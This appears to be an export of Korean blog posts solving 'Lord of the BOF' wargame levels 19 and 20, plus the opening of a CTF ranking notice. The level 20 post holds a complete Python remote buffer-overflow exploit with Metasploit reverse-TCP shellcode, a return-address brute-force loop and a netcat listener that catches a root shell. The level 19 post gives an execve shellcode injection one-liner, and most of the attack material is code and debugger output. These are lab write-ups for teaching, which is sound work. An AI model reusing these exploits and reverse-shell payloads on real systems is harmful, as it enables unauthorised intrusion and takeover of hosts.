\u0026lt;main+195\u0026gt;: call 0x80485dc \u0026lt;exit\u0026gt; 0x804898c \u0026lt;main+200\u0026gt;: add $0x4,%esp 0x804898f \u0026lt;main+203\u0026gt;: nop 0x8048990 \u0026lt;main+204\u0026gt;: nop 0x8048991 \u0026lt;main+205\u0026gt;: jmp 0x8048998 \u0026lt;main+212\u0026gt; 0x8048993 \u0026lt;main+207\u0026gt;: jmp 0x8048a60 \u0026lt;main+412\u0026gt; 0x8048998 \u0026lt;main+212\u0026gt;: movl $0x10,0xffffffac(%ebp) 0x804899f \u0026lt;main+219\u0026gt;: lea 0xffffffac(%ebp),%eax 0x80489a2 \u0026lt;main+222\u0026gt;: push %eax 0x80489a3 \u0026lt;main+223\u0026gt;: lea 0xffffffb0(%ebp),%edx 0x80489a6 \u0026lt;main+226\u0026gt;: mov %edx,%eax 0x80489a8 \u0026lt;main+228\u0026gt;: push %eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x80489a9 \u0026lt;main+229\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x80489ac \u0026lt;main+232\u0026gt;: push %eax 0x80489ad \u0026lt;main+233\u0026gt;: call 0x804855c \u0026lt;accept\u0026gt; 0x80489b2 \u0026lt;main+238\u0026gt;: add $0xc,%esp 0x80489b5 \u0026lt;main+241\u0026gt;: mov %eax,%eax 0x80489b7 \u0026lt;main+243\u0026gt;: mov %eax,0xffffffd0(%ebp) 0x80489ba \u0026lt;main+246\u0026gt;: cmpl $0xffffffff,0xffffffd0(%ebp) 0x80489be \u0026lt;main+250\u0026gt;: jne 0x80489d0 \u0026lt;main+268\u0026gt; 0x80489c0 \u0026lt;main+252\u0026gt;: push $0x8048b0e 0x80489c5 \u0026lt;main+257\u0026gt;: call 0x804853c \u0026lt;perror\u0026gt; 0x80489ca \u0026lt;main+262\u0026gt;: add $0x4,%esp 0x80489cd \u0026lt;main+265\u0026gt;: jmp 0x8048991 \u0026lt;main+205\u0026gt; 0x80489cf \u0026lt;main+267\u0026gt;: nop 0x80489d0 \u0026lt;main+268\u0026gt;: call 0x804854c \u0026lt;fork\u0026gt; 0x80489d5 \u0026lt;main+273\u0026gt;: mov %eax,%eax 0x80489d7 \u0026lt;main+275\u0026gt;: test %eax,%eax 0x80489d9 \u0026lt;main+277\u0026gt;: jne 0x8048a30 \u0026lt;main+364\u0026gt; 0x80489db \u0026lt;main+279\u0026gt;: push $0x0 0x80489dd \u0026lt;main+281\u0026gt;: push $0x34 0x80489df \u0026lt;main+283\u0026gt;: push $0x8048b20 0x80489e4 \u0026lt;main+288\u0026gt;: mov 0xffffffd0(%ebp),%eax 0x80489e7 \u0026lt;main+291\u0026gt;: push %eax 0x80489e8 \u0026lt;main+292\u0026gt;: call 0x80485ec \u0026lt;send\u0026gt; 0x80489ed \u0026lt;main+297\u0026gt;: add $0x10,%esp 0x80489f0 \u0026lt;main+300\u0026gt;: push $0x0 0x80489f2 \u0026lt;main+302\u0026gt;: push $0x6 0x80489f4 \u0026lt;main+304\u0026gt;: push $0x8048b55 0x80489f9 \u0026lt;main+309\u0026gt;: mov 0xffffffd0(%ebp),%eax 0x80489fc \u0026lt;main+312\u0026gt;: push %eax 0x80489fd \u0026lt;main+313\u0026gt;: call 0x80485ec \u0026lt;send\u0026gt; 0x8048a02 \u0026lt;main+318\u0026gt;: add $0x10,%esp 0x8048a05 \u0026lt;main+321\u0026gt;: push $0x0 0x8048a07 \u0026lt;main+323\u0026gt;: push $0x100 0x8048a0c \u0026lt;main+328\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x8048a0f \u0026lt;main+331\u0026gt;: push %eax 0x8048a10 \u0026lt;main+332\u0026gt;: mov 0xffffffd0(%ebp),%eax 0x8048a13 \u0026lt;main+335\u0026gt;: push %eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x8048a14 \u0026lt;main+336\u0026gt;: call 0x804860c \u0026lt;recv\u0026gt; 0x8048a19 \u0026lt;main+341\u0026gt;: add $0x10,%esp 0x8048a1c \u0026lt;main+344\u0026gt;: mov 0xffffffd0(%ebp),%eax 0x8048a1f \u0026lt;main+347\u0026gt;: push %eax 0x8048a20 \u0026lt;main+348\u0026gt;: call 0x804852c \u0026lt;close\u0026gt; 0x8048a25 \u0026lt;main+353\u0026gt;: add $0x4,%esp 0x8048a28 \u0026lt;main+356\u0026gt;: jmp 0x8048a60 \u0026lt;main+412\u0026gt; 0x8048a2a \u0026lt;main+358\u0026gt;: lea 0x0(%esi),%esi 0x8048a30 \u0026lt;main+364\u0026gt;: mov 0xffffffd0(%ebp),%eax 0x8048a33 \u0026lt;main+367\u0026gt;: push %eax 0x8048a34 \u0026lt;main+368\u0026gt;: call 0x804852c \u0026lt;close\u0026gt; 0x8048a39 \u0026lt;main+373\u0026gt;: add $0x4,%esp 0x8048a3c \u0026lt;main+376\u0026gt;: lea 0x0(%esi,1),%esi 0x8048a40 \u0026lt;main+380\u0026gt;: push $0x1 0x8048a42 \u0026lt;main+382\u0026gt;: push $0x0 0x8048a44 \u0026lt;main+384\u0026gt;: push $0xffffffff 0x8048a46 \u0026lt;main+386\u0026gt;: call 0x804858c \u0026lt;waitpid\u0026gt; 0x8048a4b \u0026lt;main+391\u0026gt;: add $0xc,%esp 0x8048a4e \u0026lt;main+394\u0026gt;: mov %eax,%eax 0x8048a50 \u0026lt;main+396\u0026gt;: test %eax,%eax 0x8048a52 \u0026lt;main+398\u0026gt;: jg 0x8048a56 \u0026lt;main+402\u0026gt; 0x8048a54 \u0026lt;main+400\u0026gt;: jmp 0x8048a58 \u0026lt;main+404\u0026gt; 0x8048a56 \u0026lt;main+402\u0026gt;: jmp 0x8048a40 \u0026lt;main+380\u0026gt; 0x8048a58 \u0026lt;main+404\u0026gt;: jmp 0x8048991 \u0026lt;main+205\u0026gt; 0x8048a5d \u0026lt;main+409\u0026gt;: lea 0x0(%esi),%esi 0x8048a60 \u0026lt;main+412\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x8048a63 \u0026lt;main+415\u0026gt;: push %eax 0x8048a64 \u0026lt;main+416\u0026gt;: call 0x804852c \u0026lt;close\u0026gt; 0x8048a69 \u0026lt;main+421\u0026gt;: add $0x4,%esp 0x8048a6c \u0026lt;main+424\u0026gt;: leave 0x8048a6d \u0026lt;main+425\u0026gt;: ret 0x8048a6e \u0026lt;main+426\u0026gt;: nop 0x8048a6f \u0026lt;main+427\u0026gt;: nop End of assembler dump. (gdb) b *main+341 Breakpoint 1 at 0x8048a19 (gdb) c Continuing. 위와 같이 작업을 한 후 실행한 Python 공격코드에서 엔터를 치게 되면 우리가 지정한 브레이크 포인트에 멈추게 된다. 멈추가 되면 그때 스택의 주소를 확인하면 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Breakpoint 1, 0x8048a19 in main () (gdb) x/32wx $esp 0xbffffaa4: 0x00000004 0xbffffae0 0x00000100 0x00000000 0xbffffab4: 0x00000010 0xe60a0002 0x0103a8c0 0x00000246 0xbffffac4: 0x023a2065 0x697a0002 0x00000000 0x00000000 0xbffffad4: 0x00000000 0x00000004 0x00000003 0x41414141 0xbffffae4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffaf4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb04: 0x41414141 0x41414141 0xbbbbbbbb 0x90909090 0xbffffb14: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbffffb24: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb34: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb74: 0xe3f7db31 0x6a534353 0xb0e18902 0x5b80cd66 0xbffffb84: 0xa8c0685e 0x68660103 0x53665c11 0x5051106a 0xbffffb94: 0x6a43e189 0x80cd5866 0xb0d98759 0x4980cd3f (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xbbbbbbbb in ?? () (gdb) 실행 후 확인한 결과 우리가 원하는 대로 리턴 주소가 0xbbbbbbbb로 변경되었음을 알 수 있다. 따라서 아래와 같이 PAYLOAD를 작성 후 공격을 진행하면 될 것으로 보인다.\n[AAA..... 44 Byte] [NOP가 위치한 주소, 넉넉잡아 0xbffffb34] [NOP, 100 Byte] [SHELLCODE]\n공격코드를 작성하면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #!/usr/bin/env python import sys import socket import time from struct import pack # linux/x86/shell_reverse_tcp - 71 bytes # http://www.metasploit.com # LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependChrootBreak=false, # AppendExit=false, InitialAutoRunScript=, AutoRunScript= shellcode = \u0026#39;\u0026#39; shellcode += \u0026#39;\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\u0026#39; shellcode += \u0026#39;\\x80\\x5b\\x5e\\x68\\xc0\\xa8\\x03\\x01\\x66\\x68\\x11\\x5c\\x66\\x53\u0026#39; shellcode += \u0026#39;\\x6a\\x10\\x51\\x50\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x59\\x87\u0026#39; shellcode += \u0026#39;\\xd9\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x50\\x68\\x2f\\x2f\\x73\\x68\u0026#39; shellcode += \u0026#39;\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\u0026#39; shellcode += \u0026#39;\\x80\u0026#39; def send_payload(host, port, payload): print \u0026#39;[+] Connect - %s:%d\u0026#39; % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) a = s.recv(128) print \u0026#39;[+] Receive - %s\u0026#39; % a ####################### # DEGUG # debug = raw_input(\u0026#39;Please hit enter to continue\u0026#39;) ####################### print \u0026#39;[+] Sending Payload\u0026#39; s.send(payload) s.close() def main(): host = \u0026#39;192.168.3.129\u0026#39; port = 31337 payload = \u0026#39;\u0026#39; payload += \u0026#39;A\u0026#39;*44 payload += pack(\u0026#39;\u0026lt;L\u0026#39;, 0xbffffb34) payload += \u0026#39;\\x90\u0026#39;*100 payload += shellcode send_payload(host, port, payload) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat!\u0026#39; main() 위 코드로 공격을 진행하기 전 netcat으로 아래와 같이 리스닝 모드로 대기한 후 공격코드를 실행하면 연결이 됨을 확인할 수 있다.\n1 2 3 4 5 6 7 8 9 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\\cygwin\\bin\u0026gt;nc -l -p 4444 -vvv listening on [any] 4444 ... 192.168.3.129: inverse host lookup failed: : Operation not permitted connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1026 id uid=519(xavius) gid=519(xavius) groups=519(xavius) 이제 본 프로그램에 공격을 하자. 위 코드로 포트만 6666 으로 변경 후 공격을 해보면 공격이 성공하지 않음을 알 수 있다. 이는 리턴주소가 우리가 디버깅한 데몬이랑 약간 차이가 나서 그럴 것으로 보인다. 따라서 우리가 확인한 주소에서 조금씩 더해가며 브루트포스 공격을 해야 한다. 수정한 공격 코드는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #!/usr/bin/env python import sys import socket import time from struct import pack # linux/x86/shell_reverse_tcp - 71 bytes # http://www.metasploit.com # LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependChrootBreak=false, # AppendExit=false, InitialAutoRunScript=, AutoRunScript= shellcode = \u0026#39;\u0026#39; shellcode += \u0026#39;\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\u0026#39; shellcode += \u0026#39;\\x80\\x5b\\x5e\\x68\\xc0\\xa8\\x03\\x01\\x66\\x68\\x11\\x5c\\x66\\x53\u0026#39; shellcode += \u0026#39;\\x6a\\x10\\x51\\x50\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x59\\x87\u0026#39; shellcode += \u0026#39;\\xd9\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x50\\x68\\x2f\\x2f\\x73\\x68\u0026#39; shellcode += \u0026#39;\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\u0026#39; shellcode += \u0026#39;\\x80\u0026#39; def send_payload(host, port, payload): print \u0026#39;[+] Connect - %s:%d\u0026#39; % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) a = s.recv(128) print \u0026#39;[+] Receive - %s\u0026#39; % a ####################### # DEGUG # debug = raw_input(\u0026#39;Please hit enter to continue\u0026#39;) ####################### print \u0026#39;[+] Sending Payload\u0026#39; s.send(payload) s.close() def main(): for x in range(1, 1000): print hex(0xbffffb34+x) host = \u0026#39;192.168.3.129\u0026#39; port = 6666 payload = \u0026#39;\u0026#39; payload += \u0026#39;A\u0026#39;*44 payload += pack( \u0026#39;\u0026lt;L\u0026#39;, 0xbffffb34+(x*4) ) payload += \u0026#39;\\x90\u0026#39;*100 payload += shellcode send_payload(host, port, payload) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat!\u0026#39; main() 0xbffffb34 주소에서 4씩 증가시키며 공격을 진행하는 코드이다. 실행 후 잠시 기다리면 아래와 같이 쉘을 획득할 수 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\\cygwin\\bin\u0026gt;nc -l -p 4444 -vvv listening on [any] 4444 ... 192.168.3.129: inverse host lookup failed: : Operation not permitted connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1026 id uid=519(xavius) gid=519(xavius) groups=519(xavius) sent 3, rcvd 51 C:\\cygwin\\bin\u0026gt; C:\\cygwin\\bin\u0026gt;nc -l -p 4444 -vvv listening on [any] 4444 ... 192.168.3.129: inverse host lookup failed: : Operation not permitted connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1027 id uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight) my-pass euid = 520 got the life cd /home/death_knight/ ls dropped_item.txt cat dropped_item.txt You\u0026#39;re so great! This is a token to the next gate. ,. ,\u0026#39; `. ,\u0026#39; _\u0026lt;\u0026gt;_ `. ,\u0026#39;.-\u0026#39;____`-.`. ,\u0026#39;_.-\u0026#39;\u0026#39; ``-._`. ,\u0026#39;,\u0026#39; /\\ `.`. ,\u0026#39; /.._ O / \\ O _.,\\ `. ,\u0026#39;/ / \\ ``-;.--.:-\u0026#39;\u0026#39; / \\ \\`. ,\u0026#39; : : \\ /\\`.,\u0026#39;/\\ / : : `. \u0026lt; \u0026lt;\u0026gt;| | O \u0026gt;(\u0026lt; ( ) \u0026gt;)\u0026lt; O | |\u0026lt;\u0026gt; \u0026gt; `. : : / \\/,\u0026#39;`.\\/ \\ ; ; ,\u0026#39; `.\\ \\ /_..-:`--\u0026#39;;-.._\\ / /,\u0026#39; `. \\`\u0026#39; O \\ / O `\u0026#39;/ ,\u0026#39; `.`._ \\/ _,\u0026#39;,\u0026#39; `..``-.____.-\u0026#39;\u0026#39;,,\u0026#39; `.`-.____.-\u0026#39;,\u0026#39; `. \u0026lt;\u0026gt; ,\u0026#39; `. ,\u0026#39; `\u0026#39; ","date":"2011-02-14T14:29:38Z","permalink":"/2011/02/14/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-20-death_knight/","title":"BOF 원정대 - Level 20 (death_knight)"},{"content":"우선 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 /* The Lord of the BOF : The Fellowship of the BOF - xavius - arg */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;dumpcode.h\u0026gt; main() { char buffer[40]; char *ret_addr; // overflow! fgets(buffer, 256, stdin); printf(%s\\n, buffer); if(*(buffer+47) == \u0026#39;\\xbf\u0026#39;) { printf(stack retbayed you!\\n); exit(0); } if(*(buffer+47) == \u0026#39;\\x08\u0026#39;) { printf(binary image retbayed you, too!!\\n); exit(0); } // check if the ret_addr is library function or not memcpy(\u0026amp;ret_addr, buffer+44, 4); while(memcmp(ret_addr, \\x90\\x90, 2) != 0) // end point of function { if(*ret_addr == \u0026#39;\\xc9\u0026#39;){ // leave if(*(ret_addr+1) == \u0026#39;\\xc3\u0026#39;){ // ret printf(You cannot use library function!\\n); exit(0); } } ret_addr++; } // stack destroyer memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } 문제 소스를 보면 fgets() 함수에서 오버플로우가 남을 알 수 있다. 한번 테스트를 해보도록 하자.\n1 2 3 4 5 6 [nightmare@localhost nightmare]$ ./xavius 123456789012345678901234567890123456789012345678 123456789012345678901234567890123456789012345678 Segmentation fault [nightmare@localhost nightmare]$ 예상했던대로 오버플로우가 난다. 하지만 문제 소스를 보면 RET 주소를 넣어야 할 부분에 \\xbf와 \\x08 값을 넣지 못하도록 제한하고 있다. 그리고 추기로 ret 및 leave 명령어도 제한하고 있으므로 지금까지 해왔던 공격 방법으로는 불가능하다.\n여기서 부턴 도저히 풀리지가 않아 검색을 통해 알아내었다. 우선 fgets 함수를 살펴보면 stdin 버퍼에 입력값을 저장을 한다. 따라서 메모리 어딘가에 stdin 버퍼가 있을것이며 그 부분을 찾으면 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 [nightmare@localhost nightmare]$ gdb xaviuu GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble main Dump of assembler code for function main: 0x8048714 \u0026lt;main\u0026gt;: push %ebp 0x8048715 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x8048717 \u0026lt;main+3\u0026gt;: sub $0x2c,%esp 0x804871a \u0026lt;main+6\u0026gt;: mov 0x8049a3c,%eax 0x804871f \u0026lt;main+11\u0026gt;: push %eax 0x8048720 \u0026lt;main+12\u0026gt;: push $0x100 0x8048725 \u0026lt;main+17\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x8048728 \u0026lt;main+20\u0026gt;: push %eax 0x8048729 \u0026lt;main+21\u0026gt;: call 0x8048408 \u0026lt;fgets\u0026gt; 0x804872e \u0026lt;main+26\u0026gt;: add $0xc,%esp 0x8048731 \u0026lt;main+29\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x8048734 \u0026lt;main+32\u0026gt;: push %eax 0x8048735 \u0026lt;main+33\u0026gt;: push $0x80488bb 0x804873a \u0026lt;main+38\u0026gt;: call 0x8048438 \u0026lt;printf\u0026gt; 0x804873f \u0026lt;main+43\u0026gt;: add $0x8,%esp 0x8048742 \u0026lt;main+46\u0026gt;: cmpb $0xbf,0x7(%ebp) 0x8048746 \u0026lt;main+50\u0026gt;: jne 0x8048760 \u0026lt;main+76\u0026gt; 0x8048748 \u0026lt;main+52\u0026gt;: push $0x80488bf 0x804874d \u0026lt;main+57\u0026gt;: call 0x8048438 \u0026lt;printf\u0026gt; 0x8048752 \u0026lt;main+62\u0026gt;: add $0x4,%esp 0x8048755 \u0026lt;main+65\u0026gt;: push $0x0 0x8048757 \u0026lt;main+67\u0026gt;: call 0x8048458 \u0026lt;exit\u0026gt; 0x804875c \u0026lt;main+72\u0026gt;: add $0x4,%esp 0x804875f \u0026lt;main+75\u0026gt;: nop 0x8048760 \u0026lt;main+76\u0026gt;: cmpb $0x8,0x7(%ebp) 0x8048764 \u0026lt;main+80\u0026gt;: jne 0x8048780 \u0026lt;main+108\u0026gt; 0x8048766 \u0026lt;main+82\u0026gt;: push $0x80488e0 0x804876b \u0026lt;main+87\u0026gt;: call 0x8048438 \u0026lt;printf\u0026gt; 0x8048770 \u0026lt;main+92\u0026gt;: add $0x4,%esp 0x8048773 \u0026lt;main+95\u0026gt;: push $0x0 0x8048775 \u0026lt;main+97\u0026gt;: call 0x8048458 \u0026lt;exit\u0026gt; 0x804877a \u0026lt;main+102\u0026gt;: add $0x4,%esp 0x804877d \u0026lt;main+105\u0026gt;: lea 0x0(%esi),%esi 0x8048780 \u0026lt;main+108\u0026gt;: push $0x4 0x8048782 \u0026lt;main+110\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x8048785 \u0026lt;main+113\u0026gt;: lea 0x2c(%eax),%edx 0x8048788 \u0026lt;main+116\u0026gt;: push %edx 0x8048789 \u0026lt;main+117\u0026gt;: lea 0xffffffd4(%ebp),%eax 0x804878c \u0026lt;main+120\u0026gt;: push %eax 0x804878d \u0026lt;main+121\u0026gt;: call 0x8048448 \u0026lt;memcpy\u0026gt; ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x8048792 \u0026lt;main+126\u0026gt;: add $0xc,%esp 0x8048795 \u0026lt;main+129\u0026gt;: push $0x2 0x8048797 \u0026lt;main+131\u0026gt;: push $0x8048902 0x804879c \u0026lt;main+136\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x804879f \u0026lt;main+139\u0026gt;: push %eax 0x80487a0 \u0026lt;main+140\u0026gt;: call 0x8048418 \u0026lt;memcmp\u0026gt; 0x80487a5 \u0026lt;main+145\u0026gt;: add $0xc,%esp 0x80487a8 \u0026lt;main+148\u0026gt;: mov %eax,%eax 0x80487aa \u0026lt;main+150\u0026gt;: test %eax,%eax 0x80487ac \u0026lt;main+152\u0026gt;: jne 0x80487b0 \u0026lt;main+156\u0026gt; 0x80487ae \u0026lt;main+154\u0026gt;: jmp 0x80487e0 \u0026lt;main+204\u0026gt; 0x80487b0 \u0026lt;main+156\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x80487b3 \u0026lt;main+159\u0026gt;: cmpb $0xc9,(%eax) 0x80487b6 \u0026lt;main+162\u0026gt;: jne 0x80487d8 \u0026lt;main+196\u0026gt; 0x80487b8 \u0026lt;main+164\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x80487bb \u0026lt;main+167\u0026gt;: inc %eax 0x80487bc \u0026lt;main+168\u0026gt;: cmpb $0xc3,(%eax) 0x80487bf \u0026lt;main+171\u0026gt;: jne 0x80487d8 \u0026lt;main+196\u0026gt; 0x80487c1 \u0026lt;main+173\u0026gt;: push $0x8048920 0x80487c6 \u0026lt;main+178\u0026gt;: call 0x8048438 \u0026lt;printf\u0026gt; 0x80487cb \u0026lt;main+183\u0026gt;: add $0x4,%esp 0x80487ce \u0026lt;main+186\u0026gt;: push $0x0 0x80487d0 \u0026lt;main+188\u0026gt;: call 0x8048458 \u0026lt;exit\u0026gt; 0x80487d5 \u0026lt;main+193\u0026gt;: add $0x4,%esp 0x80487d8 \u0026lt;main+196\u0026gt;: incl 0xffffffd4(%ebp) 0x80487db \u0026lt;main+199\u0026gt;: jmp 0x8048795 \u0026lt;main+129\u0026gt; 0x80487dd \u0026lt;main+201\u0026gt;: lea 0x0(%esi),%esi 0x80487e0 \u0026lt;main+204\u0026gt;: push $0x2c 0x80487e2 \u0026lt;main+206\u0026gt;: push $0x0 0x80487e4 \u0026lt;main+208\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80487e7 \u0026lt;main+211\u0026gt;: push %eax 0x80487e8 \u0026lt;main+212\u0026gt;: call 0x8048468 \u0026lt;memset\u0026gt; 0x80487ed \u0026lt;main+217\u0026gt;: add $0xc,%esp 0x80487f0 \u0026lt;main+220\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80487f3 \u0026lt;main+223\u0026gt;: mov $0xbfffffcf,%edx 0x80487f8 \u0026lt;main+228\u0026gt;: mov %edx,%ecx 0x80487fa \u0026lt;main+230\u0026gt;: sub %eax,%ecx 0x80487fc \u0026lt;main+232\u0026gt;: mov %ecx,%eax 0x80487fe \u0026lt;main+234\u0026gt;: push %eax 0x80487ff \u0026lt;main+235\u0026gt;: push $0x0 0x8048801 \u0026lt;main+237\u0026gt;: lea 0xffffffd8(%ebp),%eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x8048804 \u0026lt;main+240\u0026gt;: lea 0x30(%eax),%edx 0x8048807 \u0026lt;main+243\u0026gt;: push %edx 0x8048808 \u0026lt;main+244\u0026gt;: call 0x8048468 \u0026lt;memset\u0026gt; 0x804880d \u0026lt;main+249\u0026gt;: add $0xc,%esp 0x8048810 \u0026lt;main+252\u0026gt;: push $0xb90 0x8048815 \u0026lt;main+257\u0026gt;: push $0x0 0x8048817 \u0026lt;main+259\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x804881a \u0026lt;main+262\u0026gt;: lea 0xfffff448(%eax),%edx 0x8048820 \u0026lt;main+268\u0026gt;: push %edx 0x8048821 \u0026lt;main+269\u0026gt;: call 0x8048468 \u0026lt;memset\u0026gt; 0x8048826 \u0026lt;main+274\u0026gt;: add $0xc,%esp 0x8048829 \u0026lt;main+277\u0026gt;: leave 0x804882a \u0026lt;main+278\u0026gt;: ret 0x804882b \u0026lt;main+279\u0026gt;: nop 0x804882c \u0026lt;main+280\u0026gt;: nop 0x804882d \u0026lt;main+281\u0026gt;: nop 0x804882e \u0026lt;main+282\u0026gt;: nop 0x804882f \u0026lt;main+283\u0026gt;: nop End of assembler dump. (gdb) b *main+26 Breakpoint 1 at 0x804872e (gdb) r Starting program: /home/nightmare/xaviuu AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC Breakpoint 1, 0x804872e in main () (gdb) x/32wx 0x40015000 0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015020: 0x41414141 0x41414141 0x42424242 0x43434343 0x40015030: 0x0000000a 0x00000000 0x00000000 0x00000000 0x40015040: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015050: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015060: 0x00000000 0x00000000 0x00000000 0x00000000 0x40015070: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0x40015000 위치에 입력한 값이 저장되어 있음을 알 수 있다. 따라서 PAYLOAD는 아래와 같이 구성하면 된다.\n[NOP + SHELLCODE, 44 Byte] [0x40015000]\n1 2 3 4 5 6 7 8 [nightmare@localhost nightmare]$ (python -c print \u0026#39;\\x90\u0026#39;*19 + \u0026#39;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39; + \u0026#39;\\x00\\x50\\x01\\x40\u0026#39;; cat) | ./xavius /shh/bin id uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare) my-pass euid = 519 throw me away ","date":"2011-02-09T15:09:59Z","permalink":"/2011/02/09/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-19-xavius/","title":"BOF 원정대 - Level 19 (xavius)"},{"content":"지난 1월 14일 ~ 16일 사이 파도콘 CTF 예선이 치뤄졌습니다. 저는 0x0R 팀으로 참가하여 9위로 대회를 종료하였습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 Now, we notice real ranking of padocon CTF 2011 online. there were some problem about reliable service and linux kernel. but, many team which participated in this competiton noticed us about these problem. and they played and enjoyed CTF fairly. so, we decide to give bonus point to them. these teams are : ppp, GoN, WCSC, disekt, aa -- real ranking of CTF online -- 1. GoN (6150 points) ( + 300 ) 2. disekt (6090 points) ( + 300 ) 3. Plaid Parliament of Pwning (5730 points) ( + 300 ) 4. sur3x5f (5480 points) 5. SecretGarden (5130 points) 6. aa (4800 points) ( + 300 ) 7. sutegoma2 (4430 points) 8. Leet More (3960 points) 9. 0x0R (3400 points) 10. Welcome2ISEC2011 (3100 points) 11. Layer7 (3100 points) 12. Pe@k Team (2900 